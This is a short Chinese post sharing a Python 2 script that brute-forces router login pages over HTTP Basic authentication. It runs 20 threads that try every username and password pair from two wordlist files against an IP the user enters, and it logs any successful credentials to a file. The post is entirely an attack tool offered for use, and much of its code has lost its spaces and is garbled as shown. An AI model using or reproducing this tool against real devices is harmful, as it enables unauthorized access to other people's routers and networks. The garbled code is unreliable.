python实现多线程暴力破解登陆路由器功能代码分享
运行时请在其目录下添加user.txtpasswd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8- importbase64 importurllib2 importQueue importthreading,re,sys queue=Queue.Queue() classRout_thread(threading.Thread):
def__init__(self,queue,passwd):
threading.Thread.__init__(self) self.queue=queue self.passwordlist=passwd defrun(self): self.user=queue.get() forself.passwdinself.passwordlist: request=urllib2.Request("http://"+target) psw_base64="Basic"+base64.b64encode(self.user+":"+self.passwd) request.add_header('Authorization',psw_base64) try: response=urllib2.urlopen(request) print"[+]Correct!Username:%s,password:%s"%(self.user,self.passwd) fp3=open('log.txt','a') fp3.write(self.user+'||'+self.passwd+'\r\n') fp3.close() excepturllib2.HTTPError: print"[-]password:%sError!"%(self.passwd)
if__name__=='__main__': print''' ####################################################### # # # Routingbruteforcetool # # # # by:well # # # ####################################################### ''' passwordlist=[] line=20 threads=[] globaltarget target=raw_input("inputip:") fp=open("user.txt") fp2=open("passwd.txt") foruserinfp.readlines(): queue.put(user.split('\n')[0]) forpasswdinfp2.readlines(): passwordlist.append(passwd.split('\n')[0]) #printpasswordlist fp.close() fp2.close() foriinrange(line): a=Rout_thread(queue,passwordlist) a.start() threads.append(a) forjinthreads: j.join()